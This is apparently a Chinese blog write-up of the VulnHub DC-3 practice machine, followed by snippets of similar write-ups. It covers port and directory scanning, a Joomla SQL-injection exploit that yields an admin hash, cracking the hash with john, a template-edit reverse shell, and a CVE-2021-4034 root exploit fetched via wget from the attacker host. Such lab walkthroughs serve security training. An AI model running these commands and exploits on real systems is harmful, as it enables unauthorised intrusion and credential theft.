Vulnhub靶机：DC3

最新推荐文章于 2024-04-27 21:56:30 发布
最新推荐文章于 2024-04-27 21:56:30 发布
阅读量760 收藏 6
点赞数 8
分类专栏： 靶场 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_48904485/article/details/136111590
版权
本文详细描述了在虚拟环境中，通过nmap、漏洞扫描和攻击工具对靶机DC3进行渗透测试的过程，包括信息收集、发现Joomla漏洞、利用SQL注入、提权攻击并最终获取flag的过程。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

一、介绍

运行环境：Virtualbox

攻击机：kali（10.0.2.15）

靶机：DC3（10.0.2.56）

目标：获取靶机root权限和flag

靶机下载地址：https://www.vulnhub.com/entry/dc-32,312/

二、信息收集

使用nmap主机发现靶机ip：10.0.2.56

在这里插入图片描述

使用nmap端口扫描发现靶机开放端口：80

在这里插入图片描述

打开网站发现是一个登录界面，查看源码未发现隐藏信息

在这里插入图片描述

使用gobuster和dirsearch工具进行目录爆破

gobuster dir -u http://10.0.2.56/ -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

dirsearch -u http://10.0.2.56

在这里插入图片描述
在这里插入图片描述

目录爆破发现/administrator/目录，访问发现该网站为joomla! cms搭建的

在这里插入图片描述

使用droopescan工具扫描网站探测joomla!的版本信息，发现为3.7.0-3.8.0左右

droopescan scan -u http://10.0.2.56

在这里插入图片描述

三、漏洞利用

使用searchsploit搜索joomla!的历史漏洞，主要查看joomla!版本为3.7-3.8的exp

searchsploit joomla!

在这里插入图片描述

发现一个sql注入exp，但该exp为php版本的，尝试运行了一下有点问题

我又在网上找了一个python版本的exp：CVE-2017-8917，运行获得管理员的账号和密码

python CVE-2017-8917.py http://10.0.2.56

admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

在这里插入图片描述

将密码复制到passwd.txt，使用john工具进行暴力破解得到：snoopy

john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt

在这里插入图片描述

使用管理员账号密码登录网站

在这里插入图片描述

点击Extension->Templates->Templates

在这里插入图片描述

随便点击一项，我们这里点击Beez3

在这里插入图片描述

点击左边的文件，我们可以修改php代码

在这里插入图片描述

直接将php文件里面的代码跟换为反弹shell的php代码

在这里插入图片描述

然后点击Template Preview访问修改后的php文件进行反弹shell

在这里插入图片描述
在这里插入图片描述

获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

运行命令find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件，发现/usr/lib/policykit-1/polkit-agent-helper-1文件，该版本的polkit存在提权漏洞CVE-2021-4034

在这里插入图片描述

靶机存在gcc环境

在这里插入图片描述

在攻击机开启apache2服务，靶机使用wget命令将exp下载下来

攻击机：service apache2 start
靶机：wget http://10.0.2.15/CVE-2021-4034.c

在这里插入图片描述

将exp编译执行，提权成功

gcc CVE-2021-4034.c -o CVE-2021-4034
./CVE-2021-4034

在这里插入图片描述

获取flag

在这里插入图片描述

vulnhub系列靶机--DC3
cyzCc的博客
02-23 596
vulnhub系列靶机–DC3 主机发现： 先主机发现找到靶机的ip 使用nmap nmap -sP 192.168.211.0/24 netdiscover -r 192.168.211.1/24 根据MAC地址可以确定靶机的ip为192.168.211.136 然后扫描该ip所开放的端口服务 nmap -A 192.168.211.136 -p 1-65535 发现靶机只开放了80端口，访...
Vulnhub靶机:DC-3渗透详细过程
IerkeU的博客
02-21 2650
前情提要 靶场地址：https://www.vulnhub.com/entry/dc-32,312/ DC-3是一个适合初学者的靶场，需要具备以下前置知识： 基础的Linux命令及操作 基础的渗透测试工具使用（Kali / Parrot下的工具） 翻译一下官方给出的一些信息： 这个靶场与之前的不同，只有一个入口点和一个flag，并且没有任何线索。 靶场只需要简单的下载，解压，打开并将其导入到VMware即可（我将其网络配置为NAT模式，保证机器与kali在同一个网段下） nmap -sP 192.168.
【Vulnhub系列】DC3
大方子
04-08 5157
文章目录基本信息实验过程额外补充利用php反弹shell使用Linux-Exploit-suggestion来辅助提权 靶机下载地址：https://download.vulnhub.com/dc/DC-3-2.zip 基本信息 Kali:192.168.61.145 DC3:192.168.61.163 实验过程 同样先通过arpscan扫描找出DC3的IP地址 sudo arp-scan --interface eth0 192.168.61.1/24 这里可以直接看出DC3的IP地址为192.1
vulnhub-DC3
weixin_55129870的博客
05-15 559
开机出现错误，解决方法。趁着更改网络连接方式为nat模式。 开启kali.探测主机存活 nmap -sP 192.168.44.0/24 DC3IP： 192.168.44.143 扫描主机开放服务 nmap -A 192.168.44.143 -p 1-65535 只开放80端口，直接浏览器访问 指纹识别 whatweb http://192.168.44.143/ 结果显示使用apache平台，...
VulnHub之DC-3
qq_45434762的博客
03-23 569
一个粗糙的信息收集通过扫描端口信息，我们看到服务器只开放了一个80端口，运行的是Joomla框架我们打开网站看看在首页提示我们，这个靶机只有一个Flag，并且没有任何线索使用dirb扫...
Vulnhub DC-3
Pai_Space
02-15 307
192.168.37.132 This time, there is only one flag, one entry point and no clues. To get the flag, you'll obviously have to gain root privileges. How you get to be root is up to you - and, obviously, the system. Good luck - and I hope you enjo...
Vulnhub靶机:DC-4暴力破解——新手进阶4
m0_75051044的博客
03-22 1777
本次实验使用了两种破解admin用户密码的方式，明显使用hydra更快，使用brupsuite要对字典commompw.txt中7000多个密码进行暴力破解，时间太长了，所以直接用hydra爆破出来的密码登录，再用bruqsuite进行抓包更改命令，最后获取密码字典，然后接着用hydra爆破。显然还是不用bruqsuite更好。使用了两种提权方式，第一种：添加一个无密码用户,并使用teehee执行写入 passwd中，第二种：通过定时任务执行脚本提权。对比一下第一种提权更快。
Vulnhub靶机:DC-4渗透详细过程
IerkeU的博客
02-28 2087
基本步骤 前言提要： 靶场地址：DC: 4 ~ VulnHub DC-4是一个初中级的靶场，需要具备以下前置知识： 基础的Linux命令及操作 基础的渗透测试工具使用（Kali / Parrot下的工具） 这次练习的靶机是vulnhub平台下的DC系列靶机第四台，该靶机的难度系数为简单，拿下该靶机的关键就是需要收集信息，最终目的是获取root权限，拿到flag。 步骤： 信息收集 nmap 192.168.132.0/24 目标靶机ip：192.168.132.150 全面扫描 n
Vulnhub靶机:DC-2渗透详细过程
IerkeU的博客
01-30 3790
前言 这次练习的靶机是vulnhub平台下的DC系列靶机第二台，下载地址为DC: 2 ~ VulnHub。该靶机的难度系数为简单，和DC1一样，总共有五个flag。 DC-2与DC-1一样，是一个适合初学者的靶场，需要具备以下前置知识： 基础的Linux命令及操作 基础的渗透测试工具使用（Kali / Parrot下的工具）
VulnHub靶机 DC-9 靶机 详细渗透过程
网络空间安全学习
04-27 3270
思路：主机发现—端口扫描—服务探测—指纹识别—Web渗透SQL注入—登入后台—文件包含—"敲门"打开22端口—SSH爆破—得到相关用户信息并远程登录—提权—分别搜寻三个用户下的目录文件—拿有价值信息进行查看—得到带有root权限的执行命令—分析并成功提权。ps：如果ssh不能登录，是因为22端口没有打开，流量过滤了，在前面信息收集当中发现22端口是关闭的。拿到的用户名和密码进行后台，登录进行，发现低端爆出文件未找到的信息，可能存在文件包含，根据提示尝试一下，成功读取/etc/passwd。
VulnHub DC3
baynk的博客
05-16 347
0x00 靶机环境 下载地址1：https://www.vulnhub.com/entry/dc-32,312/ 下载地址2 dc-3.2：https://pan.baidu.com/s/1LyKZbgQiQsSqpMlY8kNUBw 提取码: z4pv 下载地址3 dc-3：https://pan.baidu.com/s/1lt3ek4ra2jHbR4HVEyrk7g 提取码: j8cg 只有一个flag了，同时也只有一个切入点，而且官网上DC3好像升到了DC3-2，不知道到和以前的区别大不大，我这里就
vulnhub之dc3
qq_54030686的博客
06-08 338
各位师傅可直接移步至 查看此篇即可，本人只当做笔记，以理清逻辑关系 主机发现 nmap -sS 192.168.2.0/24 发现测试靶机的ip为192.168.2.107，进行端口扫描 发现仅80端口开放进行指纹识别 发现网站使用的框架为joomla，使用专属的joomlascan进行检测， （中途更改了下环境，现在目标为192.168.43.131，本机ip为192.168.4.128） 打开相应界面 使用joomlascan进行检测 并未检测到相关漏洞，但检测到了后台路径和joomla 3.7版本，谷
Vulnhub靶机 DC-3
菜浪马废的博客
03-20 442
扫描ip 找到靶机192.168.0.131 发现开放80端口 必须访问一下啊 这个样子的，没啥信息 上插件 wappalyzer 火狐的指纹信息插件 nmap也扫了一下 实锤了，Joomla的cms 那肯定要用配套的joomscan扫一下啊 没事就扫一扫，扫扫更健康 没安装，先装一下 apt-get install joomscan 安装命令 看见版本号了，3.7.0，还有后台...
vulnhub靶场之DC-3
qq_58091216的博客
01-08 1643
如果您的网站正在运行 Joomla，您可以对您的网站使用 JoomScan 实用程序来发现漏洞或仅提供有助于攻击您网站的一般信息。漏洞扫描器（JoomScan）是一个开源项目，其主要目的是实现漏洞检测的自动化，以增强Joomla CMS开发的安全性。与以前的 DC 版本一样，这个版本是为初学者设计的，尽管这一次只有一个标志，一个入口点，根本没有任何线索。Linux 技能和对 Linux 命令行的熟悉是必须的，对基本渗透测试工具的一些经验也是必须的。我们可以看到用户名爆破出来了，密码是加密的，我们进行解密。
vulnhub靶机之dc-3
m0_52328368的博客
08-14 1428
dc-3靶机教程
vulnhub靶机试炼场之DC-3
Mrs_H的博客
01-05 2545
DC-3靶机渗透实战 一.前言 关于这次的靶机渗透文章我已经托更很久了，一直都没有时间来好好看一下这个靶机。最近也是到了放假的时候，也会陆续的把之前期末复习期间欠下的东西好好回顾一下。在上个月里也没有好好的看过靶场里面的题目，这个月打算趁年前把ssrf的坑填了，顺便也想把文件上传这方面的靶场习题开个坑，以前只有在打比赛的时候才会着重看的漏洞就是文件上传，关于其中的奇技淫巧还有着太多不熟悉的地方，有时间要好好看一下了。 二.正文 这次的靶机只有一个flag所以这次就不以flag的先后顺序做时间线了，就以渗透的
Vulnhub靶机渗透测试——DC-3
Cobra的博客
04-26 3506
一、实验环境 攻击机(kali): 192.168.189.148 靶机(ubuntu16.04): 192.168.189.182 靶机下载地址：DC: 3.2 ~ VulnHub 二、信息收集 1、使用nmap扫描存活主机 2、发现IP192.168.189.182开放80端口，再对其进行nmap扫描 nmap -sV -A -T4 192.168.189.182 3、通过扫描结果我们发现其指纹信息为joomla,访问其80端口 4、使用dirsearch对其进行目.
vulnhub通关-3 DC-3（含靶场资源）
Brucye
02-07 1092
6.网络设置，要与攻击机kali在同一网段，要么都用NAT模式，要么都用桥接模式（我这里用是是NAT模式）链接：https://pan.baidu.com/s/1tJr7V5ZbYMtfCLeOa40r2Q。建议不要使用https源，https更换源需要处理安全问题较为麻烦，我这里直接使用的http源。注意：doublepu.c执行后会生成doublepu 要再次执行doublepu。这款工具是专门对Joomla框架进行扫描的，需要进行下载。3.接下来选择你想导入的路径，进行导入即可。
渗透测试Vulnhub-DC3
TenG的博客
07-09 324
Preface 光怪陆离都经历，山川湖海放心里 本篇为vulnhub系列DC3啦，距DC2这段时间发生了许许多多的事情，有好有坏，都过来了，这几天多了一个特别的人，是幸运吧哈哈哈。哈哈哈哈哈……开始前说点废话，练习过程中也是参考了许多大师傅们写的文章才完成了，在此记录一下，也非常希望师傅们能指正错误。 Process 老方法，先用nmap扫描一下，对师父们来说都是小意思，就不在挂图赘述啦，得到靶机IP以及只开放了80端口，那么直接访问web服务 可以看到直接就是登录页面，我是先用dirsearch扫描
vulnhub靶机DC-1
最新发布
02-08
### VulnHub DC-1 靶机 攻略 介绍 #### 下载地址 VulnHub是一个提供各种虚拟机镜像用于安全测试和学习渗透测试技巧的平台。对于DC-1靶机，可以在[VulnHub官网](https://www.vulnhub.com/)搜索并下载该靶机镜像文件。 #### 初始信息收集 在启动DC-1之后，通过网络扫描工具如`nmap`来发现开放端口和服务版本是非常重要的初步操作[^2]。这有助于了解目标系统的潜在弱点所在之处。 ```bash nmap -A <target_ip> ``` #### Web应用漏洞探测 一旦确认存在Web服务运行于特定IP地址之上，则可以采用专门针对WordPress站点的安全评估工具WPScan来进行进一步的信息挖掘工作： ```bash wpscan --url http://<target_ip>/wordpress/ ``` 此命令能够帮助识别可能存在的插件或主题中的已知漏洞，并尝试获取管理员用户名列表等有用情报[^1]。 #### 获取初始访问权限 当已经掌握了某些关于网站后台管理账号线索后（比如默认用户名），可借助Hydra这样的暴力破解程序配合常用密码字典对登录界面发起攻击以期获得合法凭证进入内部环境: ```bash hydra -L /usr/share/wordlists/usernames.txt -P /usr/share/wordlists/passwords.txt ssh://<target_ip> ``` 这里假设SSH服务对外开放并且允许远程登陆；实际过程中还需根据具体情况调整相应参数设置[^3]。 #### 提升权限至root级别 成功创建Meterpreter会话意味着获得了较为深入的目标主机控制权，在此基础上继续探索其他未授权区域直至找到可用于提升当前用户权限的方法。例如，如果遇到弱配置下的Sudoers文件或是设置了简单密码的辅助账户，都可以成为突破口之一[^5]: ```bash sudo -l # 查看是否有无需密码即可执行高权限指令的情况 whoami # 确认当前身份 su admin # 尝试切换到更高权限用户 ``` 以上就是有关如何攻克VulnHub平台上名为DC-1这一挑战性实验项目的概览描述以及部分关键技术要点提示。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

huang0c

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值